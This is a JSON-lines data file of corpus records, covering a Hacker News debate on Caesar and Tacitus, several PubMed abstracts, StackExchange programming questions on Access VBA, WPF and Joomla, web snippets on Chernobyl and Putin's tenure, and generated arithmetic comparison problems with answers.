claim to the empire. Though the child seldom matches\n> their parents, seems like an irreplaceable genetic loss.\n\nI think this statement jumps on the \"nature\" bandwagon, but I'd argue that at\nleast Caesar wasn't born a political and military genius, but got there by:\n\n1\\. Good tolerance of failure.","metadata":{"pile_set_name":"HackerNews"},"id":370} {"contents":"Great Roman military commanders like Pompey and\nCaesar were known to have an uncanny ability to learn from their defeats.\n\n2\\. Luck. Certain decision making like going to Britain twice and making the\nsame mistake almost to his end played out well for Caesar. Also decisions to\nmarch to save his garrisoned legion during the greater Gallic rebellion during\nwintertime, while admirable (the safety of his soldiers was of supreme\nimportance to him), worked out where they seemed like they shouldn't most of\nthe time.\n\n3\\. Stupidity of his enemies. How many times did Caesar attack the Pompeans\nduring the Civil War during winter? They never learned. It's remarkable\nreally. One can also look at Caesar's merciful treatment of enemies during the\ncivil war as evidence of his genius -- he won so many by being gentle, even\nthough he","metadata":{"pile_set_name":"HackerNews"},"id":371} {"contents":"had to fight Ahenobarbus like 4 times because he kept letting him\ngo.\n\nWith that, Caesar turned into an absolute master by making reasonable\ncalculated risks and surviving them. By the point he was clearing the last of\nthe Pompeans in Africa at the end of the Civil War, he didn't even leave his\ntent to give commands -- so confident and expertised in warfare that he didn't\neven have to see the field of battle.\n\nThis is a bit of a ramble. I really admire Julius Caesar and think there's so\nmuch to learn by studying his life and habits.\n\n~~~\nunFou\n\"By the point he was clearing the last of the Pompeans in Africa at the end of\nthe Civil War, he didn't even leave his tent to give commands\"\n\nWas this an indication of the experience and initiative","metadata":{"pile_set_name":"HackerNews"},"id":372} {"contents":"of his commanders and\nnon-coms? So Caesar might decide on the overall approach, make sure all his\ncommanders knew what that was, and let them figure out how best to achieve\nthat based on the situation.\n\n~~~\nSirensOfTitan\n> Was this an indication of the experience and initiative of his commanders\n> and non-coms? So Caesar might decide on the overall approach, make sure all\n> his commanders knew what that was, and let them figure out how best to\n> achieve that based on the situation.\n\nThis interestingly largely didn't seem to be the case. By Africa most of\nCaesar's experienced legions (who campaigned with him during the Gallic Wars\nand the first half of the Civil War) weren't with him (he campaigned mostly\nwith Pompey's newly raised legions out of Greece). His commanders were either\nnew or of questionable skill.","metadata":{"pile_set_name":"HackerNews"},"id":373} {"contents":"In particular, his most capable commander during\nthe Gallic Wars, Labienus, defected to the Pompey early in the Civil War, and\nwas one of Caesar's chief opponents during his African campaign.\n\nAs an interesting note, it seems Labienus likely defected from Caesar for two\nreasons:\n\n1\\. At the beginning of the Civil War it looked extremely unlikely Caesar\nwould win.\n\n2\\. Labienus felt as though Caesar took more credit than he ought to have in\nthe Gallic Wars, depriving him of his \"auctoritas\" (sort of prestige) he felt\nhe rightfully deserved.\n\nCaesar's skilled defeat of Pompey and Labienus show his military skill outside\nof his use of good commanders.\n\n~~~\nfapjacks\nI hope you see this after all this time. Do you have a trailhead to lend me so\nI can read about this instance of not having to leave his tent to","metadata":{"pile_set_name":"HackerNews"},"id":374} {"contents":"give\ncommands? I have never heard this before and it's very interesting to me.\n\n------\nomalleyt\nIt's a symptom of postmodernism that nowhere in this text is it even suggested\nthat Tacitus is maybe just, you know, relating the facts about Germancius as\naccurately as he can.\n\nInstead we're sitting here quibbling over what literary fiction trope\n\"Tacitus's Germanicus\" fulfills in his \"story\"\n\n~~~\nbenbreen\nReading texts critically, thinking about the context that produced them, and\ndebating the author's rhetorical strategies has a lot more to do with\nRenaissance humanism than with postmodernism. Simply reading all historical\ntexts with the expectation that the author meant to tell the facts and nothing\nbut leads to the acceptance of frauds like the Donation of Constantine:\n\n[https:\/\/en.wikipedia.org\/wiki\/Donation_of_Constantine](https:\/\/en.wikipedia.org\/wiki\/Donation_of_Constantine)\n\n~~~\nomalleyt\nWell, it's not like I wholly disagree with what you're saying, but I think the\nparagraph above is a straw man of","metadata":{"pile_set_name":"HackerNews"},"id":375} {"contents":"what I'm saying.\n\nFirst, here is the element of Postmodern discourse I'm talking about:\n\n[https:\/\/en.m.wikipedia.org\/wiki\/Deconstruction](https:\/\/en.m.wikipedia.org\/wiki\/Deconstruction)\n\nSecond, my complaint is that it's not even considered as a possibility that\nTacitus is telling the truth. In relation to The Annals (a public document\nconcerning public affairs thousands of contemporaries would have had firsthand\nexperiences of) do you really think it's a forgery? Or do you really think\nTacitus is so biased he can't record history accurately? The idea that someone\nbecomes so corrupted by their interests (especially race and class) that they\ncant be objective is a uniquely postmodern idea. The Enlightenment was\npremised on the idea that objective rationality was accessible to all.\n\nFurther, we can test your hypothesis about the Renaissance. The Renaissance\nwriters read Tacitus, and when they mention him, they treat his works like a\ncomplete and unmitigated factual","metadata":{"pile_set_name":"HackerNews"},"id":376} {"contents":"account. Also, Tacitus is not engaged in\nrhetoric. That's the point. He's writing history, not philosophy.\n\n~~~\nswordswinger12\nYou're letting your modern biases color how you view Tacitus' writings. Most\npeople educated in the last ~hundred years or so were taught \"history\" as you\nunderstand it - an impartial account of the facts of an actual event or\nperson. This view of history is actually pretty recent, and it's widely\nunderstood that ancient historians did _not_ practice what we would consider\nthe modern discipline of history. For example, Herodotus is considered the\nhistorian ne plus ultra of the ancient world, but he still wrote about lots of\nweird shit like zombies and races of headless people.\n\nIt's not so much that modern historians think Tacitus was too \"biased\" to\n\"record history accurately\"; they read his works critically because they know\nhe wasn't","metadata":{"pile_set_name":"HackerNews"},"id":377} {"contents":"really even trying to record history accurately in the way we think\nabout doing that today.\n\nEDIT: Another good example of ancient versus modern history is Pericles'\nFuneral Oration, as related to us by Thucydides:\n[https:\/\/en.wikipedia.org\/wiki\/Pericles%27_Funeral_Oration](https:\/\/en.wikipedia.org\/wiki\/Pericles%27_Funeral_Oration)\nThucydides probably edited the speech heavily (even by adding or removing\ncontent), and may have even combined multiple different speeches to create\nwhat we know as _the_ speech. A modern historian would most likely blanch at\nthe thought of doing this, but Thucydides was fine with it because he wasn't\neven trying to relay an impartial and 100% accurate account of the events of\nthe Peloponnesian War (as a modern historian would).\n\n~~~\nomalleyt\nHistorical records did not begin 100 years ago, that much I don't think anyone\ncan truly believe. We have detailed contemporary histories of the American\nRevolutionary War, for one, and they seem no","metadata":{"pile_set_name":"HackerNews"},"id":378} {"contents":"more \"biased\" than histories of\nWWII.\n\nThere is a 500 year difference bt Herodotus and Tacitus. Even so, Herodotus\ndid no more than accurately record what he was told, assiduously pointing out\nwhen he saw something first hand. Early ancient historians made up speeches,\nthat much is known. But by Tacitus's day, the act of writing an objective\nhistory was not a novelty, and in fact he complains in the beginning of his\ntext that he is undertaking the work because he thinks his peers, also\nostensibly engaged in objective history, have not been objective enough out of\nfear or hatred when covering the reigns of Tiberius, Caligula, Claudius, and\nNero. Once again, with no reason to doubt him, I ask: why not even consider\ntaking one of the greatest historians whose works have been preserved for\nposterity at face","metadata":{"pile_set_name":"HackerNews"},"id":379} {"contents":"value?\n\nIs there anything in particular Tacitus says in any of his works that you\ndoubt happened?\n\n","metadata":{"pile_set_name":"HackerNews"},"id":380} {"contents":"Hippocampal but not amygdalar volume loss in narcolepsy with cataplexy.\nNarcolepsy with cataplexy (NC) and narcolepsy without cataplexy (NwoC) are lifelong neurological disorders characterized primarily by excessive daytime sleepiness. Emotional events such as laughter are a trigger of cataplexy in NC. We compared the volumes of key limbic structures, the amygdala and hippocampus, in 53 NC, 23 NwoC and 37 control subjects. MRI volumetry was performed in FreeSurfer (FS) and by manual delineation. We found no differences in amygdalar volume in the three groups, however, hippocampal volume was significantly smaller in the NC group than in other groups. Amygdalar and hippocampal volumes assessed by FS were significantly greater, but strong positive correlation between manual and FS results were observed. Thus, both methods are suitable for amygdalar and hippocampal volumetry.","metadata":{"pile_set_name":"PubMed Abstracts"},"id":381} {"contents":"Q:\n\nBuilding a DCount\/SQL statement in VBA via concetenation if test is true\n\nI have a data entry form (Access 2007) which is designed to find out if the captured animal already has an existing WHno. Unfortunately, the data is messy and these is not a single unique identifier so several tests must be performed to narrow the search. \nThe animal could have 1 to 10 different pieces of information which will help identify the animal\u2019s existence in the database. (The script only tests for about half of them thus far) I was thinking the best way to do this would to be to \u201cbuild\u201d a DCount and\/or SQL statement based on which fields the user selects. I hope test to see if a particular text field box (unbound)","metadata":{"pile_set_name":"StackExchange"},"id":382} {"contents":"has been filled out, and if yes, concatenate that section of code to the DCount\/SQL statement, then move on to the next text field box to test.\nOnce the statement has been completely built, I want to test to see how many records have been counted\/selected. If one record has been selected, I want to display the results in FormA. If 2 or more records are found, I want to display the records in a multi-listing form (FormB) from which the user can select the correct animal based on additional information not tested but displayed in FormB. If zero records are found, I want to create a new record with the data entered into the form updated into the table.\nThe hurdle I am struggling with now is building the","metadata":{"pile_set_name":"StackExchange"},"id":383} {"contents":"DCount statements. I keep getting syntax errors . I do not know how to put this together piecemeal when the function bombs out because the syntax is incomplete (which it will be until I finish \u201cbuilding\u201d it.)\nI know the data is a mess. The scene out in the field is chaotic, different people gather different kinds of information, and not all the data that should be entered on the paper forms get filled out completely - if at all. The data gathering procedures are unlikely to change anytime soon.\nIdeas? A different but easier approach idea is also welcome. New to this and not sure of all my programming options.\nAlso, how long can this statement be before it bombs out?\nCode so far:\nPrivate Sub GenerateWHno_Click()\nDim rs As DAO.Recordset\n\nIf IsNull(Forms!F_HotelEntry!txtSpecies) Or","metadata":{"pile_set_name":"StackExchange"},"id":384} {"contents":"(Forms!F_HotelEntry!txtSpecies) = \"\" Then\n MsgBox \"Species is a required field. Please enter a species\"\n Exit Sub\n\nEnd If\n\nMsgBox txtSpecies\n\n' Each line of code below indicates a data entry field(s) that needs testing and appended to SpeciesCount if \"true\". The first line is unchanging and is declared upfront.\n\n'SpeciesCount = DCount(\"[Species]\", \"AnimalInfo\", \"(nz([Status])= '' OR [Status] = 'Alive' OR [Status] = 'Unknown') AND ([Species]= '\" & txtSpecies & \"')\" _\n' & \"AND (((nz([L_ET_Color1])= '\" & Nz(txtL_ET_Color1) & \"' AND nz([L_ET_No1])= '\" & nz(txtL_ET_No1) & \"')\" _\n' & \"AND (((nz([R_ET_Color1])= '\" & Nz(txtR_ET_Color1) & \"' AND nz([R_ET_No1])= '\" & nz(txtR_ET_No1) & \"')\" _\n' & \"AND nz([L_ET_No2])= '\" & nz(txtL_ET_No2) & \"')\" _\n' & \"AND","metadata":{"pile_set_name":"StackExchange"},"id":385} {"contents":"nz([R_ET_No2])= '\" & nz(txtR_ET_No2) & \"')\" _\n' & \"\")\n\n'If txtL_ET_Color Is Not Null Or txtL_ET_No Is Not Null Then\n 'LET1 = & \"AND (((nz([L_ET_Color1])= '\" & Nz(txtL_ET_Color1) & \"' AND nz([L_ET_No1])= '\" & nz(txtL_ET_No1) & \"')\" _\n 'Species Count = SpeciesCount & LET1\n'End If\n\n'If txtR_ET_Color Is Not Null Or txtR_ET_No Is Not Null Then\n 'RET1 = & \"AND (((nz([R_ET_Color1])= '\" & Nz(txtR_ET_Color1) & \"' AND nz([R_ET_No1])= '\" & nz(txtR_ET_No1) & \"')\" _\n 'Species Count = SpeciesCount & RET1\n'End If\n\n'If txtL_ET_No2 Is Not Null Then\n 'LET2 = AND nz([L_ET_No2])= '\" & nz(txtL_ET_No2) & \"')\" _\n'Species Count = SpeciesCount & LET2\n'End If\n\n'If txtR_ET_No2 Is Not Null Then\n 'RET2 =","metadata":{"pile_set_name":"StackExchange"},"id":386} {"contents":"AND nz([R_ET_No2])= '\" & nz(txtR_ET_No2) & \"')\" _\n'Species Count = SpeciesCount & RET2\n'End If\n\n'There are about 4 more options\/fields to add to the script but you get the idea.\n\n'Thus: If user selected Species, and filled out L_ET_Color1 and\/or L_ET_No1, the final concatenation (DCount statement)would look like this:\nSpeciesCount = DCount(\"[Species]\", \"AnimalInfo\", \"([Status]= 'Alive' OR [Status] = 'Unknown' OR nz([Status]) = '') AND [Species]= '\" & txtSpecies & \"' AND (nz([L_ET_Color1])= '\" & Nz(txtL_ET_Color1) & \"' AND nz([L_ET_No1])= '\" & Nz(txtL_ET_No1) & \"')\")\n\n If SpeciesCount > 1 Then\n MsgBox SpeciesCount & \" Greater than 1. Please select correct animal\"\n 'Create SQL statement that mimics DCount statement and display all fields from AnimalInfo table","metadata":{"pile_set_name":"StackExchange"},"id":387} {"contents":"as multilisting to select from\n\n ElseIf SpeciesCount = 0 Then\n MsgBox \"You need a new WHno\"\n\n WHno = Nz(DMax(\"WHno\", \"AnimalInfo\")) + 1\n MsgBox WHno\n\n Set rs = CurrentDb.OpenRecordset(\"AnimalInfo\")\n rs.AddNew\n rs!WHno = WHno\n rs!Species = txtSpecies\n rs!L_ET_Color1 = txtL_ET_Color1\n rs!L_ET_No1 = txtL_ET_No1\n ","metadata":{"pile_set_name":"StackExchange"},"id":388} {"contents":" rs.Update\n rs.Close\n Else\n 'Create SQL statement that mimics DCount statement and display all fields from AnimalInfo table as single listing in a form.\n MsgBox \"You're WHno is \" & WHno & \" Is this the correct WHno?\"\n End If\n Forms!F_HotelEntry!txtSpecies = \"\"\n Forms!F_HotelEntry!txtL_ET_Color1 = \"\"\n Forms!F_HotelEntry!txtL_ET_No1 = \"\"\nEnd Sub\n\nA:\n\nI would suggest to first compose the condition into a string variable. There you can print its content via Debug.Print and see what the problem might be.\nIf you cannot spot","metadata":{"pile_set_name":"StackExchange"},"id":389} {"contents":"the problem via inspection alone, paste the generated string to the Sql view of a proper query and see if Access gives you helpful information on switching to design view.\n\n","metadata":{"pile_set_name":"StackExchange"},"id":390} {"contents":"Q:\n\nHow load data in datagrid in WPF Application\n\nIn WinForms i do this:\nvar fromtable = from a in Table1 select a;\nDataGridView.DataSource = fromtable;\n\nAnd i see data. How make same in wpf application?\nIf i do like this: \nMuseum_TrueEntities me = new Museum_TrueEntities();\n var test = from a in me.Authors select a;\n dataGrid1.ItemsSource = test;\n\nIn result DataGrid is empty.\n\nA:\n\ndont forget to set AutogenerateColumns=true in your datagrid.\nif you create the columns by your self post some xaml and set the correct binding.\n\n","metadata":{"pile_set_name":"StackExchange"},"id":391} {"contents":"What do you think: is nuclear power friend or foe? What are your reasons for coming to this conclusion? 25 years ago today (April 26, 1986) was the world\u2019s worst nuclear power accident, in Chernobyl, Ukraine. A wasteland still today, Chernobyl evacuated 336,000 people, saw the direct death of 56 people, and a 2009 study [\u2026]\n[Read More]\n\nSiphoning attention to the Easter bunny is not the only way we escape Jesus during Holy Week. We adults are much more sophisticated. We elude Jesus humanity via the warm glow of theology itself.\n[Read More]","metadata":{"pile_set_name":"Pile-CC"},"id":392} {"contents":"Molecular systematics and biogeography of Nicrophorus in part--the investigator species group (Coleoptera: Silphidae) using mixture model MCMC.\nBurying beetles (Silphidae: Nicrophorus) are well-known for their biparental care and monopolization of small vertebrate carcasses in subterranean crypts. They have been the focus of intense behavioral ecological research since the 1980s yet no thorough phylogenetic estimate for the group exists. The relationships among the species, and the validity of some species, are poorly understood. Here, we infer the relationships and examine species boundaries among 50 individuals representing 15 species, primarily of the investigator species group, using a mixture-model Bayesian analysis. Two mitochondrial genes, COI and COII, were used, providing 2129 aligned nucleotides (567 parsimony-informative). The Akaike Information Criterion and Bayes Factors were used to select the best fitting model, in addition","metadata":{"pile_set_name":"PubMed Abstracts"},"id":393} {"contents":"to Reversible Jump MCMC, which accommodated model uncertainty. A 21 parameter, three-partition GTR+G was the final model chosen. Despite a presumed Old World origin for the genus itself, the basal lineages and immediate outgroups of the investigator species group are New World species. Bayesian methods reconstruct the common ancestor of the investigator species group as New World and imply one later transition to the Old World with two return transitions to the New World. Prior hypotheses concerning the questionable validity of four species names, Nicrophorus praedator, Nicrophorus confusus, Nicrophorus encaustus and Nicrophorus mexicanus were tested. No evidence was found for the validity of the Nicrophorus investigator synonym N. praedator. We found evidence rejecting the species status of N. confusus (NEW SYNONYM of Nicrophorus sepultor). Weak evidence was found","metadata":{"pile_set_name":"PubMed Abstracts"},"id":394} {"contents":"for the species status of N. encaustus and N. mexicanus, which are tentatively retained as valid. Our results strongly reject a recently published hypothesis that Nicrophorus interruptus (NEW STATUS as valid species) is a subspecies of N. investigator.","metadata":{"pile_set_name":"PubMed Abstracts"},"id":395} {"contents":"21.3. Let r = -4.2 - y. Which is the second smallest value? (a) r (b) 17 (c) -5\na\nLet x = -0.1 + 0.3. What is the second smallest value in 0.7, x, -0.8?\nx\nLet a(c) = c**2 + 6*c + 3. Let x be a(-5). Let w be x\/(34\/10 - 3). What is the second biggest value in w, -0.4, -8?\nw\nLet c = -346.1 + 367. Let f = -21 + c. Let p = -15\/7 + 53\/28. What is the third biggest value in f, p, 1\/2?\np\nLet d = -2.5 - -2. Let l = -239\/3 + 80. Let k = -15 + 18. What is the second smallest value in k, l, d?\nl\nLet j = 147\/355 + -1\/71. Which is the smallest value?","metadata":{"pile_set_name":"DM Mathematics"},"id":396} {"contents":" (a) -2 (b) -2\/5 (c) -28 (d) j\nc\nLet v = 4.762 + -4.7. Let y = v + -0.092. What is the biggest value in -0.5, 1\/6, y?\n1\/6\nSuppose 0 = -2*j + 2*w - 14, -3 + 18 = -3*j + w. Let m be 4\/20 - 28\/(-60). What is the third smallest value in 5, m, j?\n5\nLet b = 2\/7 + 8\/21. Let a = 2\/273 + 1361\/546. What is the second biggest value in b, a, 2, -4?\n2\nLet s = 10.4 + -10. Let v = 3.6 + s. Let z = v + -4.04. What is the second smallest value in 0.3, 0, z?\n0\nLet r = -8 + 8. Let z = 13 + -56. Let f = z + 44.","metadata":{"pile_set_name":"DM Mathematics"},"id":397} {"contents":"What is the second biggest value in 0.1, f, r?\n0.1\nLet v = -0.0355 + 3.0355. Let h = 13 - 23. Let f = h + 5. Which is the biggest value? (a) 3\/5 (b) f (c) v\nc\nLet h = 82 + -118. Let u = h - -32. What is the biggest value in u, -3\/7, 0.3?\n0.3\nLet v = -0.291 - -0.25. Let d = 0.159 - v. Let x = -2 - -2. What is the biggest value in x, -15, d?\nd\nLet k = 1079 + -1081. Let t = -0.8 + 0.5. Let j = 2\/13 - -35\/26. Which is the biggest value? (a) k (b) j (c) t\nb\nLet h = -0.11 + -6.89. Let x = 34 -","metadata":{"pile_set_name":"DM Mathematics"},"id":398} {"contents":"368\/11. Let s = -365\/2288 + 1\/176. What is the second smallest value in s, h, x?\ns\nLet g = -18 - -20. Let r = -1.98 - 0.02. Let y = -2.3 - r. Which is the third biggest value? (a) y (b) g (c) 2\/7\na\nLet w = 5.33 + -5. Let t = -4.33 + w. What is the third biggest value in -2\/5, t, -1\/3?\nt\nLet s = 291.92 - 292. Which is the third biggest value? (a) 2 (b) s (c) -1\nc\nLet k = 2.48 - 1.48. Let x = -1 - -0.95. Which is the biggest value? (a) x (b) 2\/11 (c) k\nc\nLet j = -3.534 - 0.466. What is the biggest value in 2\/13, 3,","metadata":{"pile_set_name":"DM Mathematics"},"id":399} {"contents":"5, j?\n5\nLet o = 530 + -506. Which is the biggest value? (a) 1 (b) o (c) -1\/2\nb\nLet j = 990 + -10878\/11. Let i = 277\/1287 + 1\/143. Which is the second biggest value? (a) 5 (b) j (c) i\nb\nLet x = 2355 - 2354.942. Let h = 0.3 - -0.2. Which is the third biggest value? (a) h (b) x (c) -1\nc\nLet y(v) = v**2 - 4*v - 9. Let n be y(6). Let u = -0.3 - 0.1. Let s be (1 + -5)\/(-12)*-1. Which is the smallest value? (a) s (b) n (c) u\nc\nLet n be (-2)\/(-34) + (-936)\/306. Let h = 5.5 + -5. Which is the third biggest value? ","metadata":{"pile_set_name":"DM Mathematics"},"id":400} {"contents":"(a) -2\/9 (b) n (c) h\nb\nLet i = -0.1 - -0.2. Let b be (1 + (-10)\/4)*-2. Let h be b + (64\/(-10) - -3). What is the smallest value in i, -5, h?\n-5\nLet f = -971 - -970.6. Which is the second smallest value? (a) f (b) -50 (c) -0.1 (d) -5\nd\nLet r be (10\/(-1000)*-30)\/(3\/5). Let t = -577\/88 - -51\/8. Let c = 2 + -4. What is the second smallest value in t, c, r?\nt\nLet c = -0.029 + 0.029. What is the fourth smallest value in 0.4, 6, -3, c?\n6\nLet m = -429.8 + 430. What is the biggest value in -2\/13, -2\/79, -3, m?\nm\nLet k = -15.13 - -15.23. What is the second smallest value in 57,","metadata":{"pile_set_name":"DM Mathematics"},"id":401} {"contents":"k, 5\/3?\n5\/3\nLet o = -61.5 + 59. Let v = o + 5.5. Which is the biggest value? (a) -0.3 (b) v (c) -1\/3 (d) -5\nb\nLet j = -52\/19 - -516\/133. Let c = -148140\/17 + 8714. What is the biggest value in c, j, 4\/7, -0.1?\nj\nLet f be (2\/(-3))\/((-1)\/(-3)). Let g = 35.3 - 40.3. Which is the third smallest value? (a) f (b) 0.1 (c) g\nb\nLet n = -998 + 1002. What is the smallest value in 6, n, 0?\n0\nSuppose -4*o = x - 0*x + 1, 0 = 5*o + 2*x - 1. Which is the third biggest value? (a) o (b) -2\/5 (c) 0.7 (d) -2\na\nLet l(j) = -j**3 + 19*j**2 + 13*j","metadata":{"pile_set_name":"DM Mathematics"},"id":402} {"contents":"- 17. Let q be l(19). Suppose 8*k = 70 - q. Which is the biggest value? (a) -4\/9 (b) k (c) -1\na\nLet o = -89\/603 - 5\/67. Let t = 5 - 10. Let p = 9 + t. What is the second biggest value in 5, p, o?\np\nSuppose 4*s + 5*j - 9 = -0*s, -5*j + 21 = s. Let h = 4.511 + -0.511. Which is the third biggest value? (a) h (b) 0 (c) s (d) 1.5\nb\nLet j = 63.41 + -0.41. Let m = j + -59. Which is the second biggest value? (a) m (b) -0.2 (c) -4 (d) -0.4\nb\nLet u = -133 + 129. Suppose 3*v + 5 =","metadata":{"pile_set_name":"DM Mathematics"},"id":403} {"contents":"f, -5*f + 0*f = -2*v + 1. Let h be 4\/18 - v\/(-6). Which is the smallest value? (a) u (b) h (c) -2\/13\na\nLet j = 14 - 13.1. Let o = 4.9 - j. Which is the smallest value? (a) 0.2 (b) o (c) -1\/5\nc\nLet k = 86 + -86. Which is the third smallest value? (a) -20 (b) k (c) -1\/7\nb\nLet u = 0.49 - -4.66. Let t = -0.15 + u. What is the third biggest value in 2, t, -1?\n-1\nSuppose 4*d + 8*i - 3*i = 143, 0 = -5*d - 4*i + 172. Let w = 129\/4 - d. What is the second biggest value in 2, 5\/4, w?\n5\/4\nLet g(t) = -4*t**2. Let","metadata":{"pile_set_name":"DM Mathematics"},"id":404} {"contents":"m be g(-1). What is the biggest value in m, 0.3, 1, 0.037?\n1\nLet z = 18 + -2. Suppose -2*s = -5*x + 20, 3*s - z + 4 = -3*x. What is the third smallest value in 4, 3, s, 8?\n4\nLet n = 0.75 + -0.88. Let v = 11.27 - 11. Let i = n - v. What is the second smallest value in 1\/2, 0.2, i?\n0.2\nSuppose 0*p = -2*p - 10, 0 = 4*j + p + 1. Let r(o) = -4*o**2 + 28*o - 1. Let l be r(7). What is the third smallest value in 0, j, l?\nj\nSuppose -4*y + 99 = 2*l + 31, 0 = 4*y - 5*l - 54. Let r be (1\/5)\/(8\/y). Which is the second smallest value? ","metadata":{"pile_set_name":"DM Mathematics"},"id":405} {"contents":"(a) 0.1 (b) -4 (c) r\na\nLet p = -8 - -5. Let b = p + 2.8. Let w(s) = s**3 + 6*s**2 + 6*s + 4. Let t be w(-5). What is the third biggest value in t, 3, b?\nt\nLet l = 28.5 + -28. Let m = -0.02 - -1.02. What is the third smallest value in 0.1, l, m, -0.5?\nl\nLet d = -0.5 - 0.03. Let j = -0.13 + 0.1. Let y = d - j. What is the second smallest value in y, 0, 4?\n0\nLet m = -13\/24 - -7\/72. What is the second biggest value in 0.4, m, 0.11, -0.5?\n0.11\nLet q = -0.0194 + -0.9806. Which is the smallest value? (a) -0.3 (b) q (c) -69\nc\nSuppose -3*l","metadata":{"pile_set_name":"DM Mathematics"},"id":406} {"contents":"+ 2 = -7. Let w = 524 - 529. What is the biggest value in w, -1, l?\nl\nLet l = -1467 + 1468. What is the third smallest value in -0.4, l, -4\/3, -20?\n-0.4\nLet t = 693 - 693.3. Which is the third biggest value? (a) 1 (b) 4 (c) t\nc\nLet j = 2.97 - 1.97. Which is the third biggest value? (a) 0.3 (b) j (c) -3\nc\nLet x = 205 - -110. Let b be (-110)\/x - 2\/9. What is the third smallest value in b, 0.07, 4?\n4\nLet i = -67 + 72. Let x = 0.028 - 0.328. Which is the fourth biggest value? (a) i (b) -1 (c) -0.1 (d) x\nb\nLet n = 19.5","metadata":{"pile_set_name":"DM Mathematics"},"id":407} {"contents":"- 23.5. What is the smallest value in -0.4, n, -0.7, 0?\nn\nLet u be (4\/(-22) + 50\/33)\/(-6). Let x be 2\/5*30\/21. What is the biggest value in u, 0, x?\nx\nLet r = 0.962 - 1.362. Which is the second biggest value? (a) 464 (b) 0.5 (c) r\nb\nLet l be -1*(0 - (-2)\/22). Let y be -5*1\/(-3) - 2. Which is the fourth smallest value? (a) y (b) -3 (c) 1\/2 (d) l\nc\nLet a = -32 - -87. Let l = 54 - a. What is the biggest value in 0.05, l, -2\/9, 0?\n0.05\nSuppose 3*q + 15 = 0, -o + 7*q - 6*q + 2 = 0. Let r = 0.067 + 0.133. What is the second biggest value in 4,","metadata":{"pile_set_name":"DM Mathematics"},"id":408} {"contents":"o, -1, r?\nr\nLet u = -3.41 + 1.41. Which is the second biggest value? (a) -1\/4 (b) -3 (c) -2\/9 (d) u\na\nLet t(n) = -93*n + 1. Let r be t(-1). Let y = r + -64. Suppose 0 = 5*w - 5 + y. Which is the second biggest value? (a) -2\/5 (b) w (c) 0\na\nLet u = 81.9 + -82. Which is the smallest value? (a) 1\/4 (b) u (c) 3\/4\nb\nLet o = 5.7 + -4.74. Let k = o + -1. Let m be (-200)\/180 + 4\/(-18). What is the third biggest value in m, k, -2?\n-2\nLet q = 31.6 + -51. Let s = q + -4.6. Let p = s + 24.03. Which","metadata":{"pile_set_name":"DM Mathematics"},"id":409} {"contents":"is the second biggest value? (a) 0 (b) p (c) -0.2\na\nSuppose -1 = 5*w + 262*k - 261*k, -8 = 4*w - k. Which is the biggest value? (a) -2\/5 (b) w (c) -248\na\nLet g = 31118 - 155083\/5. Let i = g - 101. What is the second smallest value in 1, i, 1\/2?\n1\/2\nLet h be 2\/(-4) - (-55)\/22. What is the third biggest value in -8, h, -2?\n-8\nLet o = 17 + -11. Suppose -o - 2 = -4*j. Suppose -6*w - 20 = -j*w + 2*d, 3*w - 4*d + 4 = 0. What is the third biggest value in -1\/5, -2\/7, w?\nw\nLet m be (-854)\/1656 + 4\/18. Let u = m - -1\/23. Let g = 172 +","metadata":{"pile_set_name":"DM Mathematics"},"id":410} {"contents":"-177. What is the smallest value in u, 0, g?\ng\nLet m be 5 + -1 - (-4)\/((-8)\/10). What is the third biggest value in 0.1, m, -0.2, -9\/10?\n-9\/10\nLet n = 8594 - 171917\/20. Let s = n + 8\/5. Suppose -2*r - c + 6 = 0, -2 = -6*r + 3*r - 5*c. What is the second smallest value in r, -2\/3, s","metadata":{"pile_set_name":"DM Mathematics"},"id":411} {"contents":"On Sept. 12, Vladimir Putin quietly passed a landmark date: He had spent 6,602 days as the top leader of Russia.\n\nThough not widely acknowledged, this figure meant that Putin had spent more time in office than Soviet leader Leonid Brezhnev, who ruled for 18 years and one month between 1964 and 1982 (6,601 days).\n\nIt also means that Putin is now the longest-serving Russian leader since Joseph Stalin, who led the Soviet Union for almost three decades between 1924 and 1953 - 10,636 days in total.\n\nThis may not be the sort of record the Kremlin is keen to publicize. Though the Soviet era is often remembered fondly in Russia, Stalin and Brezhnev were clearly not democratic leaders. Putin is - at least in theory.\n\nThat makes his lengthy time in","metadata":{"pile_set_name":"Pile-CC"},"id":412} {"contents":"office more unusual. During his time leading Russia, Putin has dealt with four separate U.S. presidents as well as four British prime ministers and two German chancellors.\n\nThe Kremlin may also dispute the methodology, as Putin wasn't president for all of his time in office. He first became prime minister of Russia on Aug. 16, 1999, before entering the presidential office May 7 the next year. Later, as the Russian Constitution limits the president to two consecutive terms, Putin stepped out of the Kremlin in 2008 while his prime minister, Dmitry Medvedev, became president.\n\nHowever, most analysts agree that Putin still held the real power during that \"tandem\" presidency. He returned to the presidency in 2012.\n\nPutin's increasingly lengthy time in office may not appear to be a problem to many","metadata":{"pile_set_name":"Pile-CC"},"id":413} {"contents":"Russians - as widely noted, his approval ratings remain extraordinarily high. He is widely expected to stand to be nominated as a presidential candidate again for next year's elections, according to reports in the Russian media.\n\nBut there are some signs of a malaise setting in; some Russians have begun to share cynical jokes about Putin that resemble those told during the Brezhnev era. Turnout in recent local elections was low, and some polls suggest that a significant minority of the country is not sure whether they want Putin to run for reelection.\n\nStill, Putin is likely to win next year's election if he runs - potentially putting him in office until 2024 (after Medvedev left office, presidential terms were increased from four to six years). He could choose to","metadata":{"pile_set_name":"Pile-CC"},"id":414} {"contents":"keep going after that, too - both Brezhnev and Stalin died in office, and at 64, Putin is thought to be in good health. At this point, it's hard to imagine who could succeed him or how.\n\n(This story has not been edited by NDTV staff and is auto-generated from a syndicated feed.)","metadata":{"pile_set_name":"Pile-CC"},"id":415} {"contents":"Q:\n\nHow to modify the HTML tag in Joomla 1.5?\n\nI need to define an appcache manifest on the login page. I found the same question asked about Drupal 6, but the file mentioned, page.tpl.php, does not exist. Where is the counterpart in Joomla?\n\nA:\n\nThe HTML tag should be in the template index.php found here -\nJOOMLA INSTALL\/templates\/YOUR TEMPLATE\/index.php\n\n","metadata":{"pile_set_name":"StackExchange"},"id":416} {"contents":"Electron spin resonance and high pressure liquid chromatographic analysis of melanin in posterior choroidal melanomas.\nElectron spin resonance (ESR) and high pressure liquid chromatography (HPLC) were utilized to characterize the physical and biochemical characteristics of melanin in choroidal melanoma. ESR free radical signals indicative of eumelanin could be elicited from formalin-fixed paraffin-embedded tissues. Zinc ions (50 mM) increased the number of melanin-free radicals resulting in greater ESR sensitivity. Pyrole 2,3,6 tricarboxylic acid (PTCA) and amino hydroxy phenylalanine (AHP) were identified by HPLC after permanganate 